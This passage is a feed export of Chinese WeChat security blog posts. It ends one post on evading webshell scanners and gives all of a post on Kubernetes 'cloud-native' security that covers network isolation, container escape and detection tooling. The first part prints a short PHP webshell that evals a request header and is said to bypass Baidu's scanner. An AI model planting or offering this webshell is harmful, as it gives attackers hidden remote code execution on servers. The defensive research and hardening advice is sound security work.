href="https://gist.github.com/leveryd/896b9fba137aa2d12ce8c7737d451852" target="_blank">https://gist.github.com/leveryd/896b9fba137aa2d12ce8c7737d451852</a></p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">PS：在研究过程中，发现一个似乎比较少见的获取header的api，测试发现也可以绕过webdir</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">&lt;?php<br/><span style="color: #d19a66;line-height: 26px;">$headers</span>=apache_request_headers();<br/><span style="color: #e6c07b;line-height: 26px;">eval</span>(<span style="color: #d19a66;line-height: 26px;">$headers</span>[<span style="color: #98c379;line-height: 26px;">&#34;X-TARGET&#34;</span>]);<br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: block;">参考资料</span></h3><section data-tool="mdnice编辑器"><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[1]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">长亭的牧云: <em><a href="https://stack.chaitin.com/security-challenge/webshell/index" target="_blank">https://stack.chaitin.com/security-challenge/webshell/index</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[2]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">百度的webdir: <em><a href="https://scanner.baidu.com/#/pages/intro" target="_blank">https://scanner.baidu.com/#/pages/intro</a></em></p></span></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485252">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=45a38a7e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485252%26idx%3D1%26sn%3D2d21d3d4566a46464894fabafffafec9%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 06 Nov 2022 20:37:00 +0800</pubDate>
    </item>
    <item>
      <title>浅谈云原生安全建设</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485243&amp;idx=1&amp;sn=aa937a2bbdba68c4002ad8f491d63e02</link>
      <description>背景我想总结一下我理解的云原生安全，内容源于我的工作经历、我看到的公开分享、最近面试时被问到的。kubern</description>
      <content:encoded><![CDATA[<p>
原创 <span>leveryd</span> <span>2022-10-19 17:53</span> <span style="display: inline-block;">北京</span>
</p>

<p>背景我想总结一下我理解的云原生安全，内容源于我的工作经历、我看到的公开分享、最近面试时被问到的。kubern</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1d865807&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFwyeCXsWiaYw6DIWDoOiaNhPrnpHFWUD8m3jvsJVuKToTrxjXmBuLAiaOBrjONM7lm257icN8yxq6uO3Sj8W1nHibZQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>背景</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">我想总结一下我理解的云原生安全，内容源于我的工作经历、我看到的公开分享、最近面试时被问到的。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">kubernetes官方提出&#34;你可以分层去考虑安全性，云原生安全的4个C分别是云(Cloud)、集群(Cluster)、容器(Container)和代码(Code)&#34;，我也是从这个&#34;4c模型&#34;来理解云原生安全的。</p><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">kubernetes描述的4c模型 <a href="https://kubernetes.io/zh-cn/docs/concepts/security/overview/" target="_blank">https://kubernetes.io/zh-cn/docs/concepts/security/overview/</a></p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">下面就向你介绍我用&#34;4c模型&#34;怎么理解云原生安全的，在每一层描述风险和对应的缓解措施。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>第一个C：代码(Code)</h1><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="1.0707964601769913" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1130" src="https://wechat2rss.xlab.app/img-proxy/?k=bdf01949&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYw6DIWDoOiaNhPrnpHFWUD8mVCxNXIt7g7j8VgBLNibq99yUvejgZgiaYK7JFHbfp1Z7rciaBRZx2aDJg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">代码风险有两种，编码和第三方依赖，缓解这两种安全风险也有很多手段。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">其中我觉得安全编码最重要的是在web框架提供统一的默认安全能力，<span style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;">然后</span><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;">通过检查业务代码有没有使用框架提供的不安全api来收敛风险。</span>就比如说orm框架预编译避免sql注入、react/vue等前端框架能将数据和代码分离来避免xss。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>第二个C：容器(Container)</h1><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5015360983102919" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2604" src="https://wechat2rss.xlab.app/img-proxy/?k=0c57a9f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYw6DIWDoOiaNhPrnpHFWUD8mvfa51uxmNzkYgf9Snk2uRPg1IoF1pFNLzx7DGGSrO6fD4EIicX6Coiag%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">kubernetes的命名空间并没有网络隔离的效果，默认情况下pod之间能互相访问、pod能访问宿主机、pod能访问vpc。当pod被getshell、pod服务存在ssrf漏洞时，就能攻击其他服务。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">容器网络中也可以arp欺骗，有师傅分享过实战案例，可以见 <a href="https://github.com/knownsec/KCon/tree/master/2019/25日/针对Docker容器网络的ARP欺骗与中间人攻击.pdf" target="_blank">https://github.com/knownsec/KCon/tree/master/2019/25日/针对Docker容器网络的ARP欺骗与中间人攻击.pdf</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">镜像中的基础镜像、安装的软件有可能版本比较低，存在历史漏洞。这种风险不一定能变成漏洞利用，提供镜像的服务商可能更关注这类风险。风险更大的场景是镜像中存在研发运维留在镜像中的敏感信息，比如pod中的应用想要和云服务通信时需要有ak/sk来签名或者sts，所以反编译应用或者查看环境变量后能看到ak/sk或者sts。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>身份认证</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">pod中的进程可以用/var/run/secrets/kubernetes.io/serviceaccount/token文件中的服务账号作为集群中的身份，这里的风险是token文件是明文存储的，并且也没有办法确保所有pod中的应用api都实现认证鉴权。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span style="color: #1e6bb8;font-weight: bold;">Kubernetes 下零信任安全架构分析</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[1]</sup> 文章中提到蚂蚁k8s集群中api服务认证和授权的设计，在服务网格场景中，通过sidecar、pod label、证书或者jwt来在请求中带上身份信息、通过sidecar校验身份和授权。</p><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">对于这个设计我有很多不明白的地方，比如 &#34;在pod里curl其他应用，sidecar也会带上身份信息？这样不就相当于伪造身份了吗&#34;。</p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span style="background-color: rgb(255, 255, 255);font-size: 22px;font-weight: bold;letter-spacing: 0px;">网络隔离</span></p><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;"></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>风险是什么呢？<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">网络隔离是我认为&#34;投入产出比最高、优先级最高&#34;的一个事情。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">默认情况下，pod是可以访问&#34;k8s集群网络&#34;、&#34;宿主机网络&#34;：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">可以访问宿主机上的服务</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">可以访问&#34;宿主机所在网络&#34;的服务</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">可以访问集群service、pod，并且不受&#34;kubernetes namespace&#34;限制</section></li></ul><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">kubernetes namespace不是内核的namespace，而是&#34;项目&#34;的概念。一个项目应该属于一个 kubernetes namespace。</p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">从pod攻击集群有很多手段，举两个例子。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果集群部署在云虚机上，在容器中就可以访问特殊网段的&#34;元数据服务&#34;。在<span style="color: #1e6bb8;font-weight: bold;">18年黑掉DigitalOcean的k8s服务案例</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[2]</sup>中，攻击者通过metadata中的etcd凭证拿下k8s集群。在<span style="color: #1e6bb8;font-weight: bold;">Shopify的hackerone报告</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[3]</sup>中，攻击者通过ssrf漏洞获取谷歌云metadata中的集群证书信息。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在容器中也可以攻击宿主机上的服务。举一个我以前报告的漏洞为例，通过&#34;容器中挂载宿主机根目录到容器后写入ssh key，然后在容器中连接宿主机ssh&#34;我逃逸到了宿主机。当时我想如果业务方&#34;禁止容器访问宿主机ssh服务&#34;，逃逸过程就会受影响。</p><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">挂载宿主机目录后，也可以用static pod、cron服务来做攻击。怎么预防和发现这种利用手段是另外一个话题。</p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">攻击者也可以在容器中对vpc、内网、集群服务做漏洞扫描。更多的kubernetes下的攻击手法和案例可以阅读 <span style="color: #1e6bb8;font-weight: bold;">neargle大佬的总结</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[4]</sup></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>怎么做网络隔离呢？<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">一个比较常见的网络隔离效果如下：</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">对pod的限制：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">pod不能主动访问&#34;宿主机所在的内网&#34;</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">pod不能主动访问宿主机</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">pod不能主动访问虚机metadata</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">pod能主动访问外网</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">同一个&#34;k8s namespace&#34;下pod网络可以互通，不同&#34;k8s namespace&#34;下pod网络不通</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">同时，不应该限制宿主机网络：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">node可以访问master</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">node可以访问外网</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">kubernetes的<span style="color: #1e6bb8;font-weight: bold;">NetworkPolicy</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[5]</sup> 并不能完全实现上面要求的网络隔离效果，因为它的默认策略是拒绝，用户只能加白。所以我们还需要借助其他的手段来做网络隔离，比如iptables。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">一个简单的例子如下：在宿主机上执行下面的iptables (假设pod网段是10.233.69.0/24)</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 192.168.0.0/16 -j DROP   // pod不能主动访问<span style="color: #98c379;line-height: 26px;">&#34;宿主机所在的内网&#34;</span><br/>iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 10.0.0.0/8 -j DROP<br/>iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 172.16.0.0/12 -j DROP<br/>iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 169.254.169.254/32 -j DROP    // pod不能主动访问metadata(华为云/百度云/amazon/azure)<br/>iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 100.100.100.200/32 -j DROP    // pod不能主动访问metadata(阿里云)<br/>iptables -I OUTPUT -d 10.233.69.0/24 -j ACCEPT // 容器网络加白<br/>iptables -I OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT<br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>利用内核漏洞逃逸的检测和阻断</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span style="color: #1e6bb8;font-weight: bold;">The Route to Host：从内核提权到容器逃逸</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[6]</sup> 提到多种利用内核漏洞做容器逃逸的手段，比如修改容器进程task_struct数据结构的nsproxy、cred字段，修改命名空间和capability。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">有针对类似利用手法做检测的方案，比如 <span style="color: #1e6bb8;font-weight: bold;">lkrg</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[7]</sup>项目，检查进程cred等字段是否改变。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://i.blackhat.com/USA-22/Wednesday/US-22-Fournier-Return-To-Sender.pdf" target="_blank">https://i.blackhat.com/USA-22/Wednesday/US-22-Fournier-Return-To-Sender.pdf</a> paper中提到针对内核漏洞rop利用手法，通过eBPF检查<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">commit_creds(prepare_kernel_cred(0))</code>函数调用栈中是否有来自用户态空间的地址，达到类似smep、smap的效果。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>镜像裁剪和运行时监控</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://containerjournal.com/features/sysdig-adds-ability-to-make-container-runtimes-immutable" target="_blank">https://containerjournal.com/features/sysdig-adds-ability-to-make-container-runtimes-immutable</a> 提到sysdig产品提供了一个能力，能让&#34;容器只运行白名单程序&#34;。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在 <a href="https://github.com/falcosecurity/falco/blob/35db0b4a24344bc6c24022555f7d8531ad925136/rules/falco_rules.yaml#L3018" target="_blank">https://github.com/falcosecurity/falco/blob/35db0b4a24344bc6c24022555f7d8531ad925136/rules/falco_rules.yaml#L3018</a> 可以看到规则。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">包括两种告警策略:</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">发现chmod时</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">发现open创建的文件有执行权限时</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果一个镜像裁剪到只留下必要的可执行文件，再加上面的运行时监控，就能削减很大的攻击面、容易发现威胁。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>第三个C：集群</h1><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7181510710259301" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1774" src="https://wechat2rss.xlab.app/img-proxy/?k=b010ed4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYw6DIWDoOiaNhPrnpHFWUD8mSyHyuC0h8xPCmkffiaqZN1S84FmdNee9WwdDvW5Tf9jxx29JQMp7BsQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span style="color: #1e6bb8;font-weight: bold;">蚂蚁集团针对 K8s 中 Secret 安全防护的实践与探索</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[8]</sup> 中提到针对secret对象实施的数据安全方案，相比于只在etcd中加密secret，还保护了apiserver内存中没有secret。个人感觉大部分公司没有需求和动力做这个建设。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://github.com/knownsec/KCon/blob/master/2021/kubernetes中的异常活动检测.pdf" target="_blank">https://github.com/knownsec/KCon/blob/master/2021/kubernetes中的异常活动检测.pdf</a> paper中提到通过kubernetes的审计机制、创建蜜罐账号来发现集群中的攻击行为。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>总结</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">总结了code、container、cluster三层的风险和缓解措施，对于其中我自己觉得重要或者有意思的部分内容做了多一点说明。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span style="color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;text-align: left;">做云原生安全检测产品、云安全建设时，</span><span style="letter-spacing: 0px;color: rgb(30, 107, 184);font-weight: bold;">kubernetes攻防矩阵</span><sup style="letter-spacing: 0px;line-height: 0;color: rgb(30, 107, 184);font-weight: bold;">[9]</sup><span style="letter-spacing: 0px;"> 也是一个</span><span style="letter-spacing: 0px;">值得参考的模型。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: block;">参考资料</span></h3><section data-tool="mdnice编辑器"><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[1]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">Kubernetes 下零信任安全架构分析: <em><a href="https://zhuanlan.zhihu.com/p/98874541" target="_blank">https://zhuanlan.zhihu.com/p/98874541</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[2]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">18年黑掉DigitalOcean的k8s服务案例: <em><a href="https://www.4armed.com/blog/hacking-digitalocean-kubernetes/" target="_blank">https://www.4armed.com/blog/hacking-digitalocean-kubernetes/</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[3]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">Shopify的hackerone报告: <em><a href="https://hackerone.com/reports/341876" target="_blank">https://hackerone.com/reports/341876</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[4]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">neargle大佬的总结: <em><a href="https://github.com/neargle/my-re0-k8s-security/" target="_blank">https://github.com/neargle/my-re0-k8s-security/</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[5]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">NetworkPolicy: <em><a href="https://kubernetes.io/zh-cn/docs/concepts/services-networking/network-policies/" target="_blank">https://kubernetes.io/zh-cn/docs/concepts/services-networking/network-policies/</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[6]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">The Route to Host：从内核提权到容器逃逸: <em><a href="https://cloud.tencent.com/developer/article/1981030" target="_blank">https://cloud.tencent.com/developer/article/1981030</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[7]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">lkrg: <em><a href="https://github.com/lkrg-org/lkrg" target="_blank">https://github.com/lkrg-org/lkrg</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[8]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">蚂蚁集团针对 K8s 中 Secret 安全防护的实践与探索: <em><a href="https://www.infoq.cn/article/ycdctxabbgqjdfckiy0y" target="_blank">https://www.infoq.cn/article/ycdctxabbgqjdfckiy0y</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 